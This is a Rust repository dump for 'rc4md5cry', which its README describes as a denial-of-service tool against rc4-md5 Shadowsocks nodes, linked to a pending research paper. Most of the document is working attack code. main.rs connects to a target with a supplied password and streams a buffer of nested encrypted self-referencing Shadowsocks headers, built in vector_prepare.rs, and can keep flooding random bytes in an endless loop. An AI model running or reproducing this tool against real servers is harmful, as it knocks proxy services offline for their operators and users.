├── .github └── workflows │ └── rust.yml ├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── LICENSE ├── README.md └── src ├── main.rs ├── rc4.rs ├── shadowsocks_codec.rs ├── shadowsocks_packet.rs ├── vector_config.rs └── vector_prepare.rs /.github/workflows/rust.yml: -------------------------------------------------------------------------------- 1 | name: Make Them Cry 2 | 3 | on: 4 | push: 5 | 6 | env: 7 | CARGO_TERM_COLOR: always 8 | 9 | jobs: 10 | build: 11 | strategy: 12 | matrix: 13 | os: [windows-latest, macos-latest, ubuntu-latest] 14 | include: 15 | - os: windows-latest 16 | exe_suffix: '.exe' 17 | 18 | runs-on: ${{ matrix.os }} 19 | 20 | steps: 21 | - uses: actions/checkout@v2 22 | - name: Build 23 | run: cargo build --verbose --release 24 | - uses: actions/upload-artifact@v2 25 | with: 26 | name: rc4md5cry-${{ matrix.os }}${{ matrix.exe_suffix }} 27 | path: target/release/rc4md5cry${{ matrix.exe_suffix }} 28 | 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668 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 669 | 670 | [[package]] 671 | name = "winapi-util" 672 | version = "0.1.5" 673 | source = "registry+https://github.com/rust-lang/crates.io-index" 674 | checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" 675 | dependencies = [ 676 | "winapi", 677 | ] 678 | 679 | [[package]] 680 | name = "winapi-x86_64-pc-windows-gnu" 681 | version = "0.4.0" 682 | source = "registry+https://github.com/rust-lang/crates.io-index" 683 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 684 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "rc4md5cry" 3 | version = "0.1.0" 4 | authors = ["DuckSoft "] 5 | edition = "2018" 6 | 7 | # See more keys and their definitions at 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But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # rc4md5cry 2 | rc4md5cry: denial of service for rc4-md5 shadowsocks nodes. 3 | 4 | Paper pending: https://github.com/Qv2ray/shadowboom-paper/ 5 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | mod rc4; 2 | mod shadowsocks_codec; 3 | mod shadowsocks_packet; 4 | mod vector_config; 5 | mod vector_prepare; 6 | 7 | use crate::vector_config::AttackVectorConfig; 8 | use crate::vector_prepare::AttackVector; 9 | use clap::Clap; 10 | use smol::net::SocketAddrV4; 11 | use std::str::FromStr; 12 | use rand::{thread_rng, Rng}; 13 | 14 | #[derive(Clap)] 15 | #[clap( 16 | name = "rc4md5cry: denial of service for rc4-md5 shadowsocks nodes", 17 | version = "0.1", 18 | author = "Qv2ray Developer Community", 19 | )] 20 | struct Opts { 21 | /// Address of target server. 22 | #[clap(short, long)] 23 | address: String, 24 | 25 | /// Password of rc4-md5 server. 26 | #[clap(short, long)] 27 | password: String, 28 | 29 | /// Rounds to prepare and attack. 30 | #[clap(short, long, default_value = "20000")] 31 | rounds: usize, 32 | 33 | /// Continue random-shit stress even after finishing. 34 | #[clap(long)] 35 | random_stream_after_finished: bool 36 | } 37 | 38 | fn main() { 39 | let opts: Opts = Opts::parse(); 40 | 41 | let rounds = opts.rounds; 42 | let address = SocketAddrV4::from_str(opts.address.as_str()).unwrap(); 43 | let password = opts.password.as_str(); 44 | 45 | let vector_config = AttackVectorConfig::new(address, rounds, password); 46 | let vector: AttackVector = vector_config.into(); 47 | 48 | smol::block_on(async move { 49 | let mut conn = smol::net::TcpStream::connect(address) 50 | .await 51 | .expect("failed to connect to target"); 52 | smol::io::copy(vector.buffer.as_slice(), &mut conn) 53 | .await; 54 | if opts.random_stream_after_finished { 55 | let mut buf = [0u8; 65536]; 56 | let mut rng = thread_rng(); 57 | loop { 58 | rng.fill_bytes(&mut buf); 59 | smol::io::copy(buf.as_ref(), &mut conn).await; 60 | } 61 | } 62 | 63 | Ok::<(), ()>(()) 64 | }) 65 | .unwrap(); 66 | } 67 | -------------------------------------------------------------------------------- /src/rc4.rs: -------------------------------------------------------------------------------- 1 | pub struct Rc4 { 2 | i: u8, 3 | j: u8, 4 | state: [u8; 256], 5 | } 6 | 7 | impl Rc4 { 8 | // Generates a new instance of RC4 by using the KSA 9 | // (key-scheduling algorithm) and returns it. 10 | pub fn new(key: &[u8]) -> Rc4 { 11 | let mut rc4 = Rc4 { 12 | i: 0, 13 | j: 0, 14 | state: [0; 256], 15 | }; 16 | 17 | for i in 0..256 { 18 | rc4.state[i] = i as u8; 19 | } 20 | 21 | let mut j: u8 = 0; 22 | for i in 0..256 { 23 | j = j 24 | .wrapping_add(rc4.state[i]) 25 | .wrapping_add(key[i % key.len()]); 26 | rc4.state.swap(i, j as usize); 27 | } 28 | 29 | rc4 30 | } 31 | 32 | // Generates the next byte to be combined with a byte of the plain text / cipher. 33 | fn next_byte(&mut self) -> u8 { 34 | self.i = self.i.wrapping_add(1); 35 | self.j = self.j.wrapping_add(self.state[self.i as usize]); 36 | self.state.swap(self.i as usize, self.j as usize); 37 | self.state[self.state[self.i as usize].wrapping_add(self.state[self.j as usize]) as usize] 38 | } 39 | 40 | // Uses KSA (new) and PRGA (next_byte) to XOR nput with the cipher 41 | pub fn crypt_inplace(&mut self, input: &mut [u8]) { 42 | for i in 0..input.len() { 43 | input[i] ^= self.next_byte(); 44 | } 45 | } 46 | } 47 | 48 | #[cfg(test)] 49 | mod tests { 50 | 51 | use super::Rc4; 52 | 53 | #[test] 54 | fn new_test() { 55 | // The expected result (precalculated) 56 | let expected = [ 57 | 101, 124, 172, 10, 166, 26, 46, 91, 2, 137, 39, 243, 253, 25, 3, 30, 47, 238, 196, 38, 58 | 94, 149, 15, 32, 248, 51, 158, 150, 106, 183, 67, 219, 95, 177, 138, 152, 13, 188, 118, 59 | 108, 207, 151, 41, 142, 236, 103, 55, 72, 20, 244, 216, 14, 168, 90, 4, 42, 153, 64, 60 | 250, 129, 97, 225, 87, 199, 204, 100, 16, 249, 191, 82, 43, 131, 24, 169, 69, 54, 96, 61 | 77, 255, 84, 1, 143, 242, 123, 21, 93, 61, 102, 224, 107, 109, 79, 80, 23, 229, 6, 156, 62 | 181, 105, 159, 33, 141, 18, 104, 9, 56, 233, 178, 127, 111, 135, 206, 202, 128, 31, 71, 63 | 211, 222, 45, 66, 163, 189, 167, 201, 232, 17, 251, 198, 170, 155, 115, 57, 228, 98, 64 | 190, 76, 59, 239, 37, 147, 180, 240, 197, 200, 19, 0, 213, 99, 125, 44, 195, 164, 176, 65 | 121, 220, 212, 86, 186, 34, 214, 230, 254, 40, 203, 194, 231, 162, 226, 187, 116, 208, 66 | 22, 68, 88, 192, 140, 205, 234, 119, 83, 136, 63, 12, 112, 217, 154, 184, 81, 70, 35, 67 | 174, 78, 241, 179, 210, 215, 49, 144, 130, 48, 133, 7, 209, 92, 73, 193, 28, 75, 117, 68 | 223, 50, 113, 114, 148, 173, 29, 53, 160, 8, 139, 246, 65, 252, 161, 221, 185, 27, 36, 69 | 11, 110, 237, 165, 5, 182, 145, 171, 120, 157, 134, 175, 122, 58, 235, 52, 62, 126, 85, 70 | 60, 132, 74, 245, 227, 218, 89, 247, 146, 71 | ]; 72 | 73 | // Test key 74 | let key = "pwd12"; 75 | 76 | // Generate the RC4 instance. 77 | let rc4 = Rc4::new(key.as_bytes()); 78 | 79 | // Walk through the arrays and see if every element matches. 80 | for i in 0..rc4.state.len() { 81 | assert_eq!(rc4.state[i], expected[i]); 82 | } 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /src/shadowsocks_codec.rs: -------------------------------------------------------------------------------- 1 | use byteorder::ByteOrder; 2 | 3 | pub trait ShadowsocksCodec { 4 | fn encode_shadowsocks(&self, into: &mut [u8]); 5 | fn decode_shadowsocks(from: &mut [u8]) -> Self; 6 | } 7 | 8 | impl ShadowsocksCodec for std::net::SocketAddrV4 { 9 | fn encode_shadowsocks(&self, into: &mut [u8]) { 10 | into[0] = 0x01; 11 | into[1..5].copy_from_slice(&self.ip().octets()); 12 | byteorder::BigEndian::write_u16(&mut into[5..7], self.port()) 13 | } 14 | 15 | fn decode_shadowsocks(_from: &mut [u8]) -> Self { 16 | unimplemented!() 17 | } 18 | } 19 | 20 | #[cfg(test)] 21 | mod tests { 22 | use super::*; 23 | use std::net::SocketAddrV4; 24 | use std::str::FromStr; 25 | 26 | #[test] 27 | fn test_encode_localhost() { 28 | let addr = SocketAddrV4::from_str("127.0.0.1:1080").unwrap(); 29 | let mut buf = [0u8; 7]; 30 | eprintln!("Buffer before: {}", hex::encode(&buf)); 31 | 32 | addr.encode_shadowsocks(&mut buf); 33 | eprintln!("Buffer after: {}", hex::encode(&buf)); 34 | 35 | assert_eq!(buf[0], 0x01, "address type should be ipv4"); 36 | assert_eq!( 37 | buf[1..5], 38 | [127u8, 0u8, 0u8, 1u8], 39 | "addresses should be sequentially encoded" 40 | ); 41 | assert_eq!( 42 | byteorder::BigEndian::read_u16(&buf[5..7]), 43 | 1080, 44 | "port should be big endian" 45 | ); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/shadowsocks_packet.rs: -------------------------------------------------------------------------------- 1 | use crate::rc4::Rc4; 2 | use crypto::digest::Digest; 3 | use crypto::md5::Md5; 4 | use rand::Rng; 5 | 6 | pub struct Rc4Md5IV { 7 | pub buffer: [u8; 16], 8 | } 9 | 10 | impl Rc4Md5IV { 11 | pub fn new(rng: &mut dyn Rng) -> Rc4Md5IV { 12 | let mut buffer = [0u8; 16]; 13 | rng.fill_bytes(&mut buffer); 14 | Rc4Md5IV { buffer } 15 | } 16 | } 17 | 18 | #[derive(Copy, Clone)] 19 | pub struct Rc4Md5KeyDriver { 20 | md5: Md5, 21 | } 22 | 23 | impl Rc4Md5KeyDriver { 24 | pub fn new(key: &[u8]) -> Rc4Md5KeyDriver { 25 | let mut md5 = crypto::md5::Md5::new(); 26 | md5.input(key); 27 | return Rc4Md5KeyDriver { md5 }; 28 | } 29 | 30 | pub fn derive(self, iv: &[u8]) -> Rc4 { 31 | let mut md5 = self.md5.clone(); 32 | md5.input(iv); 33 | 34 | let mut md5_result = [0u8; 16]; 35 | md5.result(&mut md5_result); 36 | 37 | Rc4::new(&md5_result) 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/vector_config.rs: -------------------------------------------------------------------------------- 1 | use crypto::digest::Digest; 2 | 3 | pub struct AttackVectorConfig { 4 | pub address: std::net::SocketAddrV4, 5 | pub rounds: usize, 6 | pub key: [u8; 16], 7 | } 8 | 9 | impl AttackVectorConfig { 10 | pub fn new( 11 | address: std::net::SocketAddrV4, 12 | rounds: usize, 13 | password: &str, 14 | ) -> AttackVectorConfig { 15 | AttackVectorConfig { 16 | address, 17 | rounds, 18 | key: AttackVectorConfig::derive_key(password), 19 | } 20 | } 21 | 22 | fn derive_key(password: &str) -> [u8; 16] { 23 | let mut buf: [u8; 16] = [0u8; 16]; 24 | let mut md5 = crypto::md5::Md5::new(); 25 | md5.input_str(password); 26 | md5.result(&mut buf); 27 | buf 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /src/vector_prepare.rs: -------------------------------------------------------------------------------- 1 | use crate::shadowsocks_codec::ShadowsocksCodec; 2 | use crate::shadowsocks_packet::{Rc4Md5IV, Rc4Md5KeyDriver}; 3 | use crate::vector_config::AttackVectorConfig; 4 | use rand::thread_rng; 5 | 6 | pub struct AttackVector { 7 | pub buffer: Vec, 8 | } 9 | 10 | impl AttackVector { 11 | fn estimate_buffer_size(rounds: usize) -> usize { 12 | rounds * 23 13 | } 14 | } 15 | 16 | impl From for AttackVector { 17 | fn from(config: AttackVectorConfig) -> Self { 18 | let buffer_size = AttackVector::estimate_buffer_size(config.rounds); 19 | let mut buffer = vec![0u8; buffer_size]; 20 | let key_driver = Rc4Md5KeyDriver::new(&config.key); 21 | let mut rng = thread_rng(); 22 | 23 | for step in 1..=config.rounds { 24 | if step % 100 == 0 { 25 | eprintln!("round {} of {}", step, config.rounds); 26 | } 27 | 28 | let iv = Rc4Md5IV::new(&mut rng); 29 | let mut rc4 = key_driver.derive(&iv.buffer); 30 | 31 | let curr_start = buffer_size - step * 23; 32 | buffer[curr_start..curr_start + 16].copy_from_slice(&iv.buffer); 33 | config 34 | .address 35 | .encode_shadowsocks(&mut buffer[curr_start + 16..buffer_size]); 36 | 37 | rc4.crypt_inplace(&mut buffer[curr_start + 16..buffer_size]); 38 | } 39 | 40 | return AttackVector { buffer }; 41 | } 42 | } 43 | --------------------------------------------------------------------------------